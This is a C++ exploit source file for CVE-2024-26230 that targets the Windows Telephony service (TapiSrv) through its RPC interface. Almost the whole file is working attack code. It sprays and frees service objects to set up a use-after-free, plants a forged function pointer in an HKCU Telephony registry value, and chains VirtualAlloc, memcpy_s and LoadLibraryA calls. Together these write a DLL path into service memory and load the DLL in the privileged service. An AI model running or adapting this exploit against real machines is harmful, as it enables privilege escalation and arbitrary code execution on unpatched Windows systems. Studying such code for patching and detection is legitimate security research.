CVE-2024-26230.cpp

// CVE-2024-26230.cpp : This file contains the 'main' function. Program execution begins and ends there.
//
#define _CRT_SECURE_NO_WARNINGS

#include "Header.h"
#pragma comment(lib, "Rpcrt4.lib")

void ClientDetach_Stub(PCONTEXT_HANDLE_TYPE context) {

    ClientDetach(&context);
}
std::vector<uint8_t> ClientRequest_Stub(PCONTEXT_HANDLE_TYPE context, std::vector<uint8_t> requestBytes) {
    LONG byteWritten = requestBytes.size();

    ClientRequest(context, (unsigned char*)(requestBytes.data()), requestBytes.size(), &byteWritten);
    // Print the first 8 bytes
    return requestBytes;
}

std::vector<uint8_t> ClientRequest_Stub_4k(PCONTEXT_HANDLE_TYPE context, std::vector<uint8_t> requestBytes) {
    LONG byteWritten = requestBytes.size();

    ClientRequest(context, (unsigned char*)(requestBytes.data()), 0x40000000, &byteWritten);
    // Print the first 8 bytes
    return requestBytes;

}
void ClientAttach_Stub(PCONTEXT_HANDLE_TYPE* pCONTEXT) {
    std::wstring pszDomainUser{ L"" };
    TCHAR  infoBuf[1024] = { '\0' };
    DWORD nSize = 1024;
    std::wstring hostName{ 0 };
    GetComputerNameW(infoBuf, &nSize);
    std::wstring currentMachine = infoBuf;
    LONG output = 0;
    LONG phAsyncEventsEvent = 0;
    RPC_STATUS rpcStatus;
    RPC_WSTR szStringBinding = NULL;
    RPC_WSTR pszProtSeq = (RPC_WSTR)L"ncacn_np";
    RPC_WSTR pszTCPPort = (RPC_WSTR)L"\\pipe\\tapsrv";
    RPC_WSTR pszTCPHost = (RPC_WSTR)currentMachine.c_str();
    rpcStatus = RpcStringBindingCompose(
        NULL,           // UUID to bind to.
        pszProtSeq,		// Use TCP/IP protocol.
        pszTCPHost,		// TCP/IP network address to use.
        pszTCPPort,     // TCP/IP port to use.
        NULL,           // Protocol dependent network options to use.
        &szStringBinding);	// String binding output.
    // Create a valid binding handle from String
    //std::wstring pszMachine { L"192.168.238.1\"ncacn_np\"8081\"ncacn_np\"\\\\pipe\\whatever\"" };
    //RPC over HTTP
    std::wstring pszMachine{ L"10.4.99.1\"ncacn_ip_tcp\"8081\"ncacn_http\"8080\"" };

    rpcStatus = RpcBindingFromStringBinding(
        szStringBinding,	// The string binding to validate.
        &tapsrvImplicitHandle	// Put the result in the  binding
    );						// handle defined in the IDL file.

    if (rpcStatus != RPC_S_OK) {
        wprintf(L"[-] RpcBindingFromStringBinding() failed with status: %d.\n", rpcStatus);
        exit(rpcStatus);
    }
    RpcBindingSetAuthInfo(tapsrvImplicitHandle, NULL, RPC_C_AUTHN_LEVEL_PKT_PRIVACY, RPC_C_AUTHN_DEFAULT, NULL, RPC_C_AUTHN_DEFAULT);

    NTSTATUS status;

    status = ClientAttach(pCONTEXT, GetCurrentProcessId(), &phAsyncEventsEvent, const_cast<wchar_t*>(pszDomainUser.c_str()), const_cast<wchar_t*>(pszMachine.c_str()));

}
std::vector<uint8_t> GetUIDLLName(uint32_t index_0, uint32_t index2, uint32_t index3, uint32_t index4) {
    std::vector<uint8_t> requestBytes(sizeof(TAPI_GetUIDllName), '\0');
    auto request{ reinterpret_cast<PTAPI_GetUIDllName>(requestBytes.data()) };
    request->int_index0 = index_0;
    request->int_index1 = index2;
    //maybe 1 needed to pass the while-loop
    request->int_index2 = 1;
    request->switchacse_index3 = index4;
    request->int_index4 = 0;
    request->int_index5 = 0;
    //has to equal to 0xFFFFFFFF
    request->int_index6 = -1;
    //has to be 0
    request->int_index7 = 0;
    request->object_index = 0;
    return requestBytes;
}

void FreeDiagInstance(PCONTEXT_HANDLE_TYPE contextHandle, TAPI_ResultBuffer currentHandles, uint32_t index_0, uint32_t index2, uint32_t index3, uint32_t index4) {
    std::vector<uint8_t> requestBytes(sizeof(TAPI_FreeDiagInstance), '\0');
    auto request{ reinterpret_cast<PTAPI_FreeDiagInstance>(requestBytes.data()) };

    request->int_index0 = index_0;
    request->int_index1 = index2;
    //maybe 1 needed to pass the while-loop
    //This will be used as the second argument of the ReferenceObject();
    request->int_index2 = currentHandles.object_index;
    request->switchacse_index3 = index4;
    request->int_index4 = 0;
    request->int_index5 = 0;
    //has to equal to 0xFFFFFFFF
    request->int_index6 = -1;
    //has to be 0
    request->int_index7 = 0;
    request->object_index = currentHandles.object_index;
    ClientRequest_Stub(contextHandle, requestBytes);

}
DWORD TUISPIDLLCallback_CVE_4K(PCONTEXT_HANDLE_TYPE contextHandle, TAPI_ResultBuffer currentHandles, uint32_t index_0, uint32_t index1, uint32_t RCX, uint32_t R9, uint32_t offsetNeeded) {
    std::vector<uint8_t> requestBytes(sizeof(TAPI_TUISPIDLLCallback), '\0');
    auto request{ reinterpret_cast<PTAPI_TUISPIDLLCallback>(requestBytes.data()) };
    request->int_index0 = index_0;
    request->int_index1 = index1;
    //maybe 1 needed to pass the while-loop
    //RCX
    request->int_index2 = RCX;
    //RDX
    request->switchacse_index3 = 3;

    request->int_index4 = offsetNeeded;
    //PAGE_READ_WRITE_EXECUTE
    //R9
    request->int_index5 = R9;
    //has to equal to 0xFFFFFFFF
    request->int_index6 = -1;
    //has to be 0
    request->int_index7 = 0;
    request->object_index = currentHandles.object_index;
    std::vector<uint8_t> result = ClientRequest_Stub_4k(currentHandles.context, requestBytes);

    auto results{ reinterpret_cast<PTAPI_FreeDiagInstance>(result.data()) };
    printf("\nTUISPIDLLCallback_CVE_4K Leaked Lower 32bits : 0x%08X\n", results->int_index0);
    return results->int_index0;

}

std::vector<uint8_t> TUISPIDLLCallback_CVE_CopyString(PCONTEXT_HANDLE_TYPE contextHandle, TAPI_ResultBuffer currentHandles, uint32_t index_0, uint32_t index1, uint32_t RCX, uint32_t R9, uint32_t offsetNeeded, std::string dllPath) {
    std::vector<uint8_t> requestBytes(sizeof(TAPI_TUISPIDLLCallback), '\0');
    auto request{ reinterpret_cast<PTAPI_TUISPIDLLCallback>(requestBytes.data()) };
    request->int_index0 = index_0;
    request->int_index1 = index1;
    //maybe 1 needed to pass the while-loop
    //RCX
    request->int_index2 = RCX;
    //RDX
    request->switchacse_index3 = 3;

    request->int_index4 = offsetNeeded;
    //R9
    request->int_index5 = R9;
    //has to equal to 0xFFFFFFFF
    request->int_index6 = -1;
    //has to be 0
    request->int_index7 = 0;
    request->object_index = currentHandles.object_index;
    memcpy(request->whateverStringArray, dllPath.c_str(), dllPath.size());
    std::vector<uint8_t> result = ClientRequest_Stub_4k(currentHandles.context, requestBytes);
    auto results{ reinterpret_cast<PTAPI_FreeDiagInstance>(result.data()) };
    printf("\nLeaked Lower 32bits : 0x%08X\n", results->int_index0);
    return requestBytes;

}

DWORD TUISPIDLLCallback_CVE(PCONTEXT_HANDLE_TYPE contextHandle, TAPI_ResultBuffer currentHandles, uint32_t index_0, uint32_t index1, uint32_t RCX, uint32_t R9) {
    std::vector<uint8_t> requestBytes(sizeof(TAPI_TUISPIDLLCallback), '\0');
    auto request{ reinterpret_cast<PTAPI_TUISPIDLLCallback>(requestBytes.data()) };
    request->int_index0 = index_0;
    request->int_index1 = index1;
    //maybe 1 needed to pass the while-loop
    //RCX
    request->int_index2 = RCX;
    //RDX
    request->switchacse_index3 = 3;

    request->int_index4 = 0x30000000;
    //PAGE_READ_WRITE_EXECUTE
    //R9
    request->int_index5 = R9;
    //has to equal to 0xFFFFFFFF
    request->int_index6 = -1;
    //has to be 0
    request->int_index7 = 0;
    request->object_index = currentHandles.object_index;
    std::vector<uint8_t> result = ClientRequest_Stub(currentHandles.context, requestBytes);

    auto results{ reinterpret_cast<PTAPI_FreeDiagInstance>(result.data()) };
    printf("\nLeaked Lower 32bits : 0x%08X\n", results->int_index0);
    printf("\n Next should be 0x%08X\n", results->int_index0 + 0x40100000);
    return results->int_index0;

}

std::vector<uint8_t> TRequestMakeCall_HeapAlloc(PCONTEXT_HANDLE_TYPE contextHandle, TAPI_ResultBuffer currentHandles, uint32_t index_0, uint32_t index2, uint32_t index3, uint32_t index4, uint32_t index7) {
    std::vector<uint8_t> requestBytes(sizeof(TAPI_TUISPIDLLCallback), '\0');
    auto request{ reinterpret_cast<PTAPI_TUISPIDLLCallback>(requestBytes.data()) };
    request->int_index0 = index_0;
    request->int_index1 = index2;
    //maybe 1 needed to pass the while-loop
    request->int_index2 = index4;
    request->switchacse_index3 = index4;
    request->int_index4 = index4;
    request->int_index5 = index4;
    //has to equal to 0xFFFFFFFF
    request->int_index6 = index4;
    //has to be 0
    request->int_index7 = index7;
    request->object_index = currentHandles.object_index;
    ClientRequest_Stub(currentHandles.context, requestBytes);
    return requestBytes;

}


//PCONTEXT_HANDLE_TYPE Stage1() {
//    PCONTEXT_HANDLE_TYPE context;
//    ClientAttach_Stub(&context);
//    std::vector<uint8_t> requestBytes = ClientRequest_Stub(context, GetUIDLLName(GaFuncs::GetUIDllName, 1, 1, 3));
//    auto returnBuffer{ reinterpret_cast<PTAPI_GetUIDllName>(requestBytes.data())};
//    std::printf("Context Index for Context is : 0x%08x\n", returnBuffer->object_index);
//    return context;
//}


std::vector<TAPI_ResultBuffer> allowcateObjects(uint32_t numberOfElements) {
    std::vector<PCONTEXT_HANDLE_TYPE> contextArray(numberOfElements);
    std::vector<TAPI_ResultBuffer> results(numberOfElements);
    for (int i = 0; i < contextArray.capacity(); i++) {
        ClientAttach_Stub(&contextArray[i]);
        std::vector<uint8_t> requestBytes = ClientRequest_Stub(contextArray[i], GetUIDLLName(GaFuncs::GetUIDllName, 1, 1, 3));
        results[i].context = contextArray[i];
        results[i].object_index = reinterpret_cast<PTAPI_GetUIDllName>(requestBytes.data())->object_index;

    }
    return results;

}
void setKeyValueToHeap(DWORD RCX, ULONG64 jmpaddr) {
    HKEY hkResult;
    RegOpenCurrentUser(KEY_ALL_ACCESS, &hkResult);

    RegDeleteKeyValueW(HKEY_CURRENT_USER, L"Software\\Microsoft\\Windows\\CurrentVersion\\Telephony\\HandoffPriorities", L"RequestMakeCall");
    RegOpenKeyW(HKEY_CURRENT_USER, L"Software\\Microsoft\\Windows\\CurrentVersion\\Telephony\\HandoffPriorities", &hkResult);
    BYTE lpbuffer[0x5e] = { 0 };
    *(PDWORD)((ULONG_PTR)lpbuffer + 0xE) = RCX;
    *(PULONG_PTR)((ULONG_PTR)lpbuffer + 0x1E) = (ULONG_PTR)jmpaddr; // VIRTUALALLOC_STUB
    RegSetValueExW(hkResult, L"RequestMakeCall", 0, REG_BINARY, lpbuffer, 0x5E);

}
////stage 2
//void Stage2(PCONTEXT_HANDLE_TYPE context) {
//    ClientRequest_Stub(context, FreeDiagInstance(GaFuncs::FreeDialogInstance, 1, 1, 3));
//    std::cout << "FreeDiagInstance" << std::endl;
//}
////stage 3 
//void Stage3_trigger(PCONTEXT_HANDLE_TYPE context) {
//    ClientRequest_Stub(context, TUISPIDLLCallback_CVE(GaFuncs::TUISPIDLLCallback, 1, 1, 3));
//    std::cout << "TUISPIDLLCallback_CVE" << std::endl;
//}


int main()
{
    std::wstring tapisrv{ L"TapiSrv" };
    ServiceHelper tapiservice{ tapisrv , SERVICE_START };
    //tapiservice.StartTheDamnService();
    int numberofInstance = 1000;

    std::vector<TAPI_ResultBuffer> results(numberofInstance);
    //Creating 10 GOLD objects with GetUIDLLName
    // Step 1.
    results = allowcateObjects(numberofInstance);

    //step 2.
    for (int i = 0; i <= results.capacity() / 3; i += 2) {
        FreeDiagInstance(results[i].context, results[i], GaFuncs::FreeDialogInstance, 1, 1, 3);
    }
    //step3
    std::vector<TAPI_ResultBuffer> step3(1);
    step3 = allowcateObjects(1);

    //step 4.
    std::vector<uint8_t> requestBytes_step3(sizeof(TAPI_TUISPIDLLCallback), '\0');
    auto request{ reinterpret_cast<PTAPI_TUISPIDLLCallback>(requestBytes_step3.data()) };
    request->int_index0 = GaFuncs::FreeDialogInstance;
    request->int_index1 = 1;
    //maybe 1 needed to pass the while-loop
    request->int_index2 = step3[0].object_index;
    request->switchacse_index3 = 3;
    request->int_index4 = 0;
    request->int_index5 = 0;
    //has to equal to 0xFFFFFFFF
    request->int_index6 = -1;
    //has to be 0
    request->int_index7 = 0;
    request->object_index = step3[0].object_index;
    printf("Freeing step3 context object index : 0x%08X , with result[i] context handle", request->object_index);
    ClientRequest_Stub(results[numberofInstance - 1].context, requestBytes_step3);

    //step 5.  0x00007ffc6d583f40 RPCRT4!I_RpcAllocate
    PVOID MIDL_USER_ALLOCATE = GetProcAddress(LoadLibraryA("RPCRT4"), "I_RpcAllocate");
    LONG szMIDL_USER_ALLOCATE = 0x40000000;
    setKeyValueToHeap(szMIDL_USER_ALLOCATE, (ULONG64)MIDL_USER_ALLOCATE);
    for (int i = 0; i < 50; i++) {
        TRequestMakeCall_HeapAlloc(results[numberofInstance - 1].context, results[numberofInstance - 1], GaFuncs::TRequestMakeCall, 0xe0, 0xe0, 0xe0, 0x0);
        TRequestMakeCall_HeapAlloc(results[numberofInstance - 1].context, results[numberofInstance - 1], GaFuncs::TRequestMakeCall, 0xe0, 0xe0, 0xe0, 0xfffffffc);
    }

    DWORD offsetNeeded = 0;
    unsigned long long valueNeeded = 0x100003000;
    for (int i = 0; i <= 5; i++) {
        unsigned long long LeakedLower32 = TUISPIDLLCallback_CVE(step3[0].context, step3[0], GaFuncs::TUISPIDLLCallback, 1, szMIDL_USER_ALLOCATE, 0); 
        DWORD result = LeakedLower32 + 0x40100000;
        if (result >= 0xc0000000) {
            offsetNeeded = valueNeeded - (unsigned long long) LeakedLower32 - (unsigned long long)0x40100000 - (unsigned long long)0x3C;
            printf("Offset needed : 0x%08X", offsetNeeded);
            break;
        }
    }
    //step 6 VirtualAlloc
    PVOID VirtualAlloc = GetProcAddress(LoadLibraryA("KERNEL32"), "VirtualAlloc");

    setKeyValueToHeap(szMIDL_USER_ALLOCATE, (ULONG64)VirtualAlloc);
    for (int i = 0; i < 250; i++) {
        TRequestMakeCall_HeapAlloc(results[numberofInstance - 1].context, results[numberofInstance - 1], GaFuncs::TRequestMakeCall, 0xe0, 0xe0, 0xe0, 0x0);
        TRequestMakeCall_HeapAlloc(results[numberofInstance - 1].context, results[numberofInstance - 1], GaFuncs::TRequestMakeCall, 0xe0, 0xe0, 0xe0, 0xfffffffc);
    }
    //VIRTUALLOC
    szMIDL_USER_ALLOCATE = TUISPIDLLCallback_CVE_4K(step3[0].context, step3[0], GaFuncs::TUISPIDLLCallback, 1, szMIDL_USER_ALLOCATE, 0x40, offsetNeeded);

    //Step 7 memcpy_s 00007ff9`4da1ced0
    PVOID memcpy_s = GetProcAddress(LoadLibraryA("NTDLL"), "memcpy_s");

    std::string dllPath = "C:\\users\\kiwi\\desktop\\test.dll";
    LONG dllPathAddress = szMIDL_USER_ALLOCATE;
    for (size_t i = 0; i < dllPath.size(); i += 3) {
        std::string sub = dllPath.substr(i, 3);
        setKeyValueToHeap(dllPathAddress, (ULONG64)memcpy_s);
        for (int i = 0; i < 500; i++) {
            TRequestMakeCall_HeapAlloc(results[numberofInstance - 1].context, results[numberofInstance - 1], GaFuncs::TRequestMakeCall, 0xe0, 0xe0, 0xe0, 0x0);
            TRequestMakeCall_HeapAlloc(results[numberofInstance - 1].context, results[numberofInstance - 1], GaFuncs::TRequestMakeCall, 0xe0, 0xe0, 0xe0, 0xfffffffc);
        }
        TUISPIDLLCallback_CVE_CopyString(step3[0].context, step3[0], GaFuncs::TUISPIDLLCallback, 1, dllPathAddress, 0x3, 0, sub);
        dllPathAddress += 3;
        
    }
    //Step 8 LoadLibraryA 0x00007ff94dcd0800
    PVOID LoadLib = GetProcAddress(LoadLibraryA("KERNEL32"), "LoadLibraryA");

    setKeyValueToHeap(szMIDL_USER_ALLOCATE, (ULONG64)LoadLib);
    for (int i = 0; i < 1000; i++) {
        TRequestMakeCall_HeapAlloc(results[numberofInstance - 1].context, results[numberofInstance - 1], GaFuncs::TRequestMakeCall, 0xe0, 0xe0, 0xe0, 0x0);
        TRequestMakeCall_HeapAlloc(results[numberofInstance - 1].context, results[numberofInstance - 1], GaFuncs::TRequestMakeCall, 0xe0, 0xe0, 0xe0, 0xfffffffc);
    }
    TUISPIDLLCallback_CVE_4K(step3[0].context, step3[0], GaFuncs::TUISPIDLLCallback, 1, szMIDL_USER_ALLOCATE, 0x3, 0);

    return 0;
}


void __RPC_FAR* __RPC_USER midl_user_allocate(size_t cBytes)
{
    return((void __RPC_FAR*) malloc(cBytes));
}
void __RPC_USER midl_user_free(void __RPC_FAR* ptr)
{

    free(ptr);
}